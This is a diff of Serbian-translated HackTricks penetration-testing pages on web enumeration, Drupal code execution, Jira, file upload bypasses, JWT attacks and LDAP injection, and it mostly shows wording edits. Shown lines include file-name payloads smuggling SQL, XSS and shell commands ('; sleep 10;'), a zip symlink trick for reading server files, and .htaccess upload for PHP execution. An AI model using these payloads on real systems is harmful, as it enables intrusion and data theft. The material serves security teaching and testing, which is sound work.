* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
@ -298,26 +298,26 @@ _Napomena: svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili
* Ako se igrate **CTF**, "uobičajen" trik je da **sakrijete** **informacije** unutar komentara na **desnoj** strani **stranice** (koristeći **stotine** **razmaka** tako da ne vidite podatke ako otvorite izvorni kod u pretraživaču). Druga mogućnost je da koristite **nekoliko novih redova** i **sakrijete informacije** u komentaru na **dnu** web stranice.
* **API ključevi**: Ako **pronađete bilo koji API ključ** postoji vodič koji ukazuje kako koristiti API ključeve različitih platformi: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
* Google API ključevi: Ako pronađete bilo koji API ključ koji izgleda kao **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik možete koristiti projekat [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) da proverite koje API-jeve ključ može pristupiti.
* **S3 kante**: Tokom spideringa proverite da li je bilo koji **subdomen** ili bilo koji **link** povezan sa nekom **S3 kantom**. U tom slučaju, [**proverite** **dozvole** kante](buckets/).
* **S3 Buckets**: Tokom spideringa proverite da li je neki **subdomen** ili neki **link** povezan sa nekim **S3 bucket-om**. U tom slučaju, [**proverite** **dozvole** bucket-a](buckets/).
### Posebna otkrića
### Special findings
**Tokom** izvođenja **spideringa** i **brute-forcinga** mogli biste pronaći **zanimljive** **stvari** koje treba da **primetite**.
**Dok** obavljate **spidering** i **brute-forcing** mogli biste pronaći **zanimljive** **stvari** koje treba da **primetite**.
**Zanimljive datoteke**
* Potražite **linkove** ka drugim datotekama unutar **CSS** datoteka.
* [Ako pronađete _**.git**_ datoteku, neke informacije mogu biti ekstraktovane](git.md).
* Ako pronađete _**.env**_ informacije kao što su API ključevi, lozinke za baze podataka i druge informacije mogu se pronaći.
* Ako pronađete **API krajnje tačke** [trebalo bi ih takođe testirati](web-api-pentesting.md). Ove nisu datoteke, ali će verovatno "izgledati kao" njih.
* Ako pronađete _**.env**_ informacije kao što su API ključevi, lozinke baza podataka i druge informacije mogu se pronaći.
* Ako pronađete **API krajnje tačke** [trebalo bi da ih testirate](web-api-pentesting.md). Ove nisu datoteke, ali će verovatno "izgledati kao" njih.
* **JS datoteke**: U sekciji spideringa pomenuti su nekoliko alata koji mogu ekstraktovati puteve iz JS datoteka. Takođe, bilo bi zanimljivo **pratiti svaku pronađenu JS datoteku**, jer u nekim slučajevima, promena može ukazivati na to da je potencijalna ranjivost uvedena u kod. Možete koristiti, na primer, [**JSMon**](https://github.com/robre/jsmon)**.**
* Takođe biste trebali proveriti otkrivene JS datoteke sa [**RetireJS**](https://github.com/retirejs/retire.js/) ili [**JSHole**](https://github.com/callforpapers-source/jshole) da biste saznali da li su ranjive.
* Takođe biste trebali proveriti otkrivene JS datoteke sa [**RetireJS**](https://github.com/retirejs/retire.js/) ili [**JSHole**](https://github.com/callforpapers-source/jshole) da biste saznali da li je ranjiva.
* **Javascript Deobfuscator i Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
* **JsFuck deobfuscation** (javascript sa karakterima:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/)).
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
* U nekoliko slučajeva biće potrebno da **razumete regularne izraze** koji se koriste, ovo će biti korisno: [https://regex101.com/](https://regex101.com).
* Takođe možete **pratiti datoteke gde su obrasci otkriveni**, jer promena u parametru ili pojava novog obrasca može ukazivati na potencijalnu novu ranjivu funkcionalnost.
* Takođe možete **pratiti datoteke u kojima su obrasci otkriveni**, jer promena u parametru ili pojava novog obrasca može ukazivati na potencijalnu novu ranjivu funkcionalnost.
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
@ -327,7 +327,7 @@ _Napomena: svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili
**502 Proxy Error**
Ako neka stranica **odgovara** sa tim **kodom**, verovatno je to **loše konfigurisani proxy**. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host header-om i drugim uobičajenim header-ima), **proxy** će pokušati da **pristupi** _**google.com**_ **i pronašli ste** SSRF.
Ako neka stranica **odgovori** sa tim **kodom**, verovatno je u pitanju **loše konfigurisani proxy**. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host header-om i drugim uobičajenim header-ima), **proxy** će pokušati da **pristupi** _**google.com**_ **i pronašli ste** SSRF.
**NTLM Authentication - Info disclosure**
@ -337,9 +337,9 @@ Možete **automatizovati** ovo koristeći **nmap plugin** "_http-ntlm-info.nse_"
**HTTP Redirect (CTF)**
Moguće je **staviti sadržaj** unutar **preusmeravanja**. Ovaj sadržaj **neće biti prikazan korisniku** (jer će pretraživač izvršiti preusmeravanje), ali nešto bi moglo biti **sakriveno** unutra.
Moguće je **staviti sadržaj** unutar **Redirekcije**. Ovaj sadržaj **neće biti prikazan korisniku** (jer će pretraživač izvršiti redirekciju), ali nešto bi moglo biti **sakriveno** unutra.
### Proveravanje web ranjivosti
### Web Vulnerabilities Checking
Sada kada je izvršena sveobuhvatna enumeracija web aplikacije, vreme je da proverite mnogo mogućih ranjivosti. Možete pronaći kontrolnu listu ovde:
@ -353,17 +353,17 @@ Pronađite više informacija o web ranjivostima na:
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
* [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
### Pratite stranice za promene
### Monitor Pages for changes
Možete koristiti alate kao što su [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) za praćenje stranica za izmene koje bi mogle umetnuti ranjivosti.
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **hacking karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_tečno poljski pisano i govorno potrebno_).
{% embed url="https://www.stmcyber.com/careers" %}
### HackTricks Automatske Komande
### HackTricks Automatic Commands
```
Protocol_Name: Web #Protocol Abbreviation if there is one.
Port_Number: 80,443 #Comma separated if there is more than one.

View file

@ -21,7 +21,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
U starijim verzijama Drupala **(pre verzije 8)**, bilo je moguće prijaviti se kao administrator i **omogućiti `PHP filter` modul**, koji "Omogućava evaluaciju ugrađenog PHP koda/fragmenta." Ali od verzije 8 ovaj modul nije instaliran po defaultu.
{% endhint %}
Potrebno je da **plugin php bude instaliran** (proverite pristupajući _/modules/php_ i ako vrati **403**, onda **postoji**, ako **nije pronađen**, onda **plugin php nije instaliran**)
Potrebno je da **plugin php bude instaliran** (proverite pristupom _/modules/php_ i ako vrati **403**, onda **postoji**, ako **nije pronađen**, onda **plugin php nije instaliran**)
Idite na _Modules_ -> (**Proverite**) _PHP Filter_ -> _Sačuvajte konfiguraciju_
@ -31,7 +31,7 @@ Zatim kliknite na _Add content_ -> Izaberite _Basic Page_ ili _Article -_> Napi
![](<../../../.gitbook/assets/image (338).png>)
Na kraju, samo pristupite novokreiranom čvoru:
Na kraju, jednostavno pristupite novokreiranom čvoru:
```bash
curl http://drupal-site.local/node/3
```
@ -47,7 +47,7 @@ Od verzije **8 pa nadalje,** [**PHP Filter**](https://www.drupal.org/project/php
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
2. Kada se preuzme, idite na **`Administracija`** > **`Izveštaji`** > **`Dostupne nadogradnje`**.
3. Kliknite na **`Pretraži`**, izaberite datoteku iz direktorijuma u koji smo je preuzeli, a zatim kliknite na **`Instaliraj`**.
4. Kada je modul instaliran, možemo kliknuti na **`Sadržaj`** i **napraviti novu osnovnu stranicu**, slično kao što smo uradili u primeru Drupal 7. Ponovo, obavezno **izaberite `PHP kod` iz `Format teksta` padajućeg menija**.
4. Kada je modul instaliran, možemo kliknuti na **`Sadržaj`** i **napraviti novu osnovnu stranicu**, slično kao što smo uradili u primeru Drupal 7. Ponovo, obavezno **izaberite `PHP kod` iz `Format teksta` padajuće liste**.
## Modul sa backdoor-om
@ -97,13 +97,13 @@ Pre aktivacije:
Posle aktivacije:
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Deo 2 (iskorišćavanje funkcije _Configuration synchronization_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
Iskoristićemo funkciju _Configuration synchronization_ da dump-ujemo (izvezemo) i upload-ujemo (uvozimo) Drupal konfiguracione unose:
Iskoristićemo funkciju _Configuration synchronization_ da dump-ujemo (izvezemo) i upload-ujemo (import-ujemo) Drupal konfiguracione unose:
* /admin/config/development/configuration/single/export
* /admin/config/development/configuration/single/import
@ -172,7 +172,7 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
### Deo 3 (iskorišćavanje funkcije _Dodaj dokument_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
Zadnji korak je najjednostavniji i deli se na dva pod-koraka. Prvi je da se otpremi datoteka u .htaccess formatu kako bi se iskoristile Apache direktive i omogućilo da .txt datoteke budu interpretirane od strane PHP engine-a. Drugi je da se otpremi .txt datoteka koja sadrži naš payload.
Poslednji korak je najjednostavniji i deli se na dva pod-koraka. Prvi je da se otpremi datoteka u .htaccess formatu kako bi se iskoristile Apache direktive i omogućilo da .txt datoteke budu interpretirane od strane PHP engine-a. Drugi je da se otpremi .txt datoteka koja sadrži naš payload.
Datoteka: .htaccess
```

View file

@ -15,17 +15,17 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_tečno poljski pisano i govorno potrebno_).
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
## Check Privileges
## Proverite privilegije
U Jiri, **privilegije se mogu proveriti** od strane bilo kog korisnika, autentifikovanog ili ne, putem krajnjih tačaka `/rest/api/2/mypermissions` ili `/rest/api/3/mypermissions`. Ove krajnje tačke otkrivaju trenutne privilegije korisnika. Značajna zabrinutost se javlja kada **neautentifikovani korisnici imaju privilegije**, što ukazuje na **bezbednosnu ranjivost** koja bi mogla biti podobna za **nagradu**. Slično tome, **neočekivane privilegije za autentifikovane korisnike** takođe ističu **ranjivost**.
Važna **ažuriranja** su izvršena **1. februara 2019.**, zahtevajući da 'mypermissions' krajnja tačka uključuje **'permission' parametar**. Ovaj zahtev ima za cilj da **poboljša bezbednost** preciziranjem privilegija koje se pretražuju: [proverite ovde](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
Važna **ažuriranja** su izvršena **1. februara 2019.**, zahtevajući da 'mypermissions' krajnja tačka uključuje **'permission' parametar**. Ovaj zahtev ima za cilj da **poboljša bezbednost** preciziranjem privilegija koje se ispituju: [proverite ovde](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
* ADD\_COMMENTS
* ADMINISTER
@ -129,9 +129,9 @@ Ovo su neke od radnji koje bi maliciozni dodatak mogao da izvrši:
* **Obrnuta ljuska**: Ili dobiti obrnutu ljusku.
* **DOM proksiranje**: Ako je Confluence unutar privatne mreže, bilo bi moguće uspostaviti vezu kroz pregledač nekog korisnika koji ima pristup i, na primer, kontaktirati server za izvršavanje komandi kroz njega.
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **karijeru u hakovanju** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
Ako ste zainteresovani za **hacking karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -144,8 +144,8 @@ Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
<summary>Podrška HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -147,7 +147,7 @@ characters = @(call://uwsgi_func)
```
Izvršenje payload-a se dešava tokom parsiranja konfiguracione datoteke. Da bi konfiguracija bila aktivirana i parsirana, uWSGI proces mora biti ponovo pokrenut (potencijalno nakon pada ili zbog napada uskraćivanja usluge) ili datoteka mora biti postavljena na automatsko ponovno učitavanje. Funkcija automatskog ponovnog učitavanja, ako je omogućena, ponovo učitava datoteku u određenim intervalima prilikom otkrivanja promena.
Ključno je razumeti labavu prirodu parsiranja konfiguracione datoteke uWSGI-a. Konkretno, pomenuti payload može biti umetnut u binarnu datoteku (kao što je slika ili PDF), čime se dodatno proširuje opseg potencijalne eksploatacije.
Ključno je razumeti labavu prirodu parsiranja konfiguracione datoteke uWSGI-a. Konkretno, diskutovani payload može biti umetnut u binarnu datoteku (kao što je slika ili PDF), dodatno proširujući opseg potencijalne eksploatacije.
## **wget File Upload/SSRF Trick**
@ -187,15 +187,15 @@ Napomena da **druga opcija** koju možda razmišljate da zaobiđete ovu proveru
* Postavite **ime datoteke** na `sleep(10)-- -.jpg` i možda ćete moći da postignete **SQL injekciju**
* Postavite **ime datoteke** na `<svg onload=alert(document.domain)>` da biste postigli XSS
* Postavite **ime datoteke** na `; sleep 10;` da biste testirali neku injekciju komandi (više [trikova za injekciju komandi ovde](../command-injection.md))
* [**XSS** u učitavanju slike (svg) datoteke](../xss-cross-site-scripting/#xss-uploading-files-svg)
* **JS** datoteka **učitavanje** + **XSS** = [**Eksploatacija servisnih radnika**](../xss-cross-site-scripting/#xss-abusing-service-workers)
* [**XXE u svg učitavanju**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [**XSS** u uploadu slike (svg) datoteke](../xss-cross-site-scripting/#xss-uploading-files-svg)
* **JS** datoteka **upload** + **XSS** = [**eksploatacija servisnih radnika**](../xss-cross-site-scripting/#xss-abusing-service-workers)
* [**XXE u svg uploadu**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [**Otvoreno preusmeravanje** putem učitavanja svg datoteke](../open-redirect.md#open-redirect-uploading-svg-files)
* Pokušajte **različite svg payloads** sa [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
* Pokušajte **različite svg payload-e** sa [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
* [Poznata **ImageTrick** ranjivost](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* Ako možete **naznačiti web serveru da uhvati sliku sa URL-a** mogli biste pokušati da zloupotrebite [SSRF](../ssrf-server-side-request-forgery/). Ako će ova **slika** biti **sačuvana** na nekom **javnom** sajtu, mogli biste takođe naznačiti URL sa [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukrasti informacije o svakom posetiocu**.
* [**XXE i CORS** zaobilaženje sa PDF-Adobe učitavanjem](pdf-upload-xxe-and-cors-bypass.md)
* Posebno izrađeni PDF-ovi za XSS: [sledeća stranica prikazuje kako da **ubacite PDF podatke da biste dobili izvršenje JS**](../xss-cross-site-scripting/pdf-injection.md). Ako možete učitati PDF-ove mogli biste pripremiti neki PDF koji će izvršiti proizvoljni JS prema datim uputstvima.
* [**XXE i CORS** zaobilaženje sa PDF-Adobe uploadom](pdf-upload-xxe-and-cors-bypass.md)
* Posebno oblikovani PDF-ovi za XSS: [sledeća stranica prikazuje kako da **ubacite PDF podatke da biste dobili izvršenje JS**](../xss-cross-site-scripting/pdf-injection.md). Ako možete učitati PDF-ove mogli biste pripremiti neki PDF koji će izvršiti proizvoljni JS prema datim uputstvima.
* Učitajte \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) sadržaj da proverite da li server ima neki **antivirus**
* Proverite da li postoji bilo kakvo **ograničenje veličine** prilikom učitavanja datoteka
@ -223,13 +223,13 @@ Evo top 10 liste stvari koje možete postići učitavanjem (sa [ovde](https://tw
Pogledajte [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) za druge tipove datoteka.
### Zip/Tar datoteka automatski dekompresovana pri učitavanju
### Zip/Tar datoteka automatski dekompresovana upload
Ako možete učitati ZIP koji će biti dekompresovan unutar servera, možete uraditi 2 stvari:
#### Symlink
Učitajte link koji sadrži mekane linkove ka drugim datotekama, zatim, pristupajući dekompresovanim datotekama, pristupićete povezanim datotekama:
Učitajte link koji sadrži softverske linkove na druge datoteke, zatim, pristupajući dekompresovanim datotekama, pristupićete povezanim datotekama:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -304,7 +304,7 @@ pop graphic-context
```
## Ugrađivanje PHP Shell-a u PNG
Ugrađivanje PHP shell-a u IDAT deo PNG datoteke može efikasno zaobići određene operacije obrade slika. Funkcije `imagecopyresized` i `imagecopyresampled` iz PHP-GD su posebno relevantne u ovom kontekstu, jer se obično koriste za promenu veličine i uzorkovanje slika, redom. Sposobnost ugrađenog PHP shell-a da ostane nepromenjen ovim operacijama je značajna prednost za određene slučajeve upotrebe.
Ugrađivanje PHP shell-a u IDAT deo PNG datoteke može efikasno zaobići određene operacije obrade slika. Funkcije `imagecopyresized` i `imagecopyresampled` iz PHP-GD su posebno relevantne u ovom kontekstu, jer se obično koriste za promenu veličine i resampling slika, redom. Sposobnost ugrađenog PHP shell-a da ostane nepromenjen ovim operacijama je značajna prednost za određene slučajeve upotrebe.
Detaljna istraživanja ove tehnike, uključujući njenu metodologiju i potencijalne primene, pružena su u sledećem članku: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ovaj resurs nudi sveobuhvatno razumevanje procesa i njegovih implikacija.
@ -314,7 +314,7 @@ Više informacija na: [https://www.idontplaydarts.com/2012/06/encoding-web-shell
Poliglot datoteke služe kao jedinstveni alat u sajber bezbednosti, delujući kao kameleoni koji mogu validno postojati u više formata datoteka istovremeno. Zanimljiv primer je [GIFAR](https://en.wikipedia.org/wiki/Gifar), hibrid koji funkcioniše i kao GIF i kao RAR arhiva. Takve datoteke nisu ograničene na ovu kombinaciju; kombinacije poput GIF i JS ili PPT i JS su takođe izvodljive.
Osnovna korisnost poliglot datoteka leži u njihovoj sposobnosti da zaobiđu bezbednosne mere koje filtriraju datoteke na osnovu tipa. Uobičajena praksa u raznim aplikacijama podrazumeva dozvoljavanje samo određenih tipova datoteka za upload—poput JPEG, GIF ili DOC—kako bi se smanjio rizik od potencijalno štetnih formata (npr. JS, PHP ili Phar datoteke). Međutim, poliglot, usklađujući se sa strukturnim kriterijumima više tipova datoteka, može tiho zaobići ova ograničenja.
Osnovna korisnost poliglot datoteka leži u njihovoj sposobnosti da zaobiđu bezbednosne mere koje filtriraju datoteke na osnovu tipa. Uobičajena praksa u raznim aplikacijama podrazumeva dozvoljavanje samo određenih tipova datoteka za upload—poput JPEG, GIF ili DOC—kako bi se smanjio rizik koji predstavljaju potencijalno štetni formati (npr. JS, PHP ili Phar datoteke). Međutim, poliglot, usklađujući se sa strukturnim kriterijumima više tipova datoteka, može tiho zaobići ova ograničenja.
Uprkos svojoj prilagodljivosti, poligloti se suočavaju sa ograničenjima. Na primer, dok poliglot može istovremeno predstavljati PHAR datoteku (PHp ARchive) i JPEG, uspeh njegovog upload-a može zavisiti od politika ekstenzija datoteka platforme. Ako je sistem strog u vezi sa dozvoljenim ekstenzijama, sama strukturna dualnost poliglota možda neće biti dovoljna da garantuje njegov upload.
@ -329,7 +329,7 @@ Više informacija na: [https://medium.com/swlh/polyglot-files-a-hackers-best-fri
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **hacking karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
@ -345,7 +345,7 @@ Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Podelite hacking trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -15,16 +15,16 @@ Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" da
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **hakersku karijeru** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
Ako ste zainteresovani za **hakera karijeru** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
{% embed url="https://www.stmcyber.com/careers" %}
**Deo ovog posta se zasniva na sjajnom postu:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**Autor sjajnog alata za pentesting JWT-ova** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
### **Brze pobede**
### **Brze Pobjede**
Pokrenite [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) u režimu `All Tests!` i sačekajte zelene linije.
```bash
@ -75,7 +75,7 @@ Postavite korišćeni algoritam na "None" i uklonite deo sa potpisom.
Koristite Burp ekstenziju pod nazivom "JSON Web Token" da biste isprobali ovu ranjivost i promenili različite vrednosti unutar JWT-a (pošaljite zahtev u Repeater i u "JSON Web Token" tabu možete modifikovati vrednosti tokena. Takođe možete odabrati da postavite vrednost polja "Alg" na "None").
### Promenite algoritam RS256(asimetrični) na HS256(simetrični) (CVE-2016-5431/CVE-2016-10555)
### Promenite algoritam RS256 (asimetrični) na HS256 (simetrični) (CVE-2016-5431/CVE-2016-10555)
Algoritam HS256 koristi tajni ključ za potpisivanje i verifikaciju svake poruke.\
Algoritam RS256 koristi privatni ključ za potpisivanje poruke i koristi javni ključ za autentifikaciju.
@ -113,7 +113,7 @@ python3 jwt_tool.py JWT_HERE -X s
### Pregled Problema sa Kid
Opcionalna tvrdnja zaglavlja poznata kao `kid` koristi se za identifikaciju specifičnog ključa, što postaje posebno važno u okruženjima gde postoji više ključeva za verifikaciju potpisa tokena. Ova tvrdnja pomaže u odabiru odgovarajućeg ključa za verifikaciju potpisa tokena.
Opcionalna zaglavna tvrdnja poznata kao `kid` koristi se za identifikaciju specifičnog ključa, što postaje posebno važno u okruženjima gde postoji više ključeva za verifikaciju potpisa tokena. Ova tvrdnja pomaže u odabiru odgovarajućeg ključa za verifikaciju potpisa tokena.
#### Otkriće Ključa kroz "kid"
@ -167,7 +167,7 @@ print("e:", hex(key.e))
```
#### x5u
X.509 URL. URI koji pokazuje na skup X.509 (standardni format sertifikata) javnih sertifikata kodiranih u PEM formatu. Prvi sertifikat u skupu mora biti onaj koji se koristi za potpisivanje ovog JWT-a. Sledeći sertifikati svaki potpisuju prethodni, čime se završava lanac sertifikata. X.509 je definisan u RFC 52807. Transportna sigurnost je potrebna za prenos sertifikata.
X.509 URL. URI koji pokazuje na skup X.509 (standard formata sertifikata) javnih sertifikata kodiranih u PEM formatu. Prvi sertifikat u skupu mora biti onaj koji se koristi za potpisivanje ovog JWT-a. Svaki sledeći sertifikat potpisuje prethodni, čime se završava lanac sertifikata. X.509 je definisan u RFC 52807. Transportna sigurnost je potrebna za prenos sertifikata.
Pokušajte da **promenite ovaj header u URL pod vašom kontrolom** i proverite da li je primljena neka zahtev. U tom slučaju, **mogli biste da manipulišete JWT-om**.

View file

@ -17,7 +17,7 @@ Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" da
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **hakersku karijeru** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
@ -73,7 +73,7 @@ Primer: `(&(directory=val1)(folder=public))`
Zatim: `(&(objectClass=`**`*)(ObjectClass=*))`** će biti prvi filter (onaj koji se izvršava).
### Bypass Prijave
### Bypass prijave
LDAP podržava nekoliko formata za čuvanje lozinke: clear, md5, smd5, sh1, sha, crypt. Dakle, može se desiti da bez obzira na to šta unesete u lozinku, ona bude hash-ovana.
```bash
@ -224,7 +224,7 @@ intitle:"phpLDAPadmin" inurl:cmd.php
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
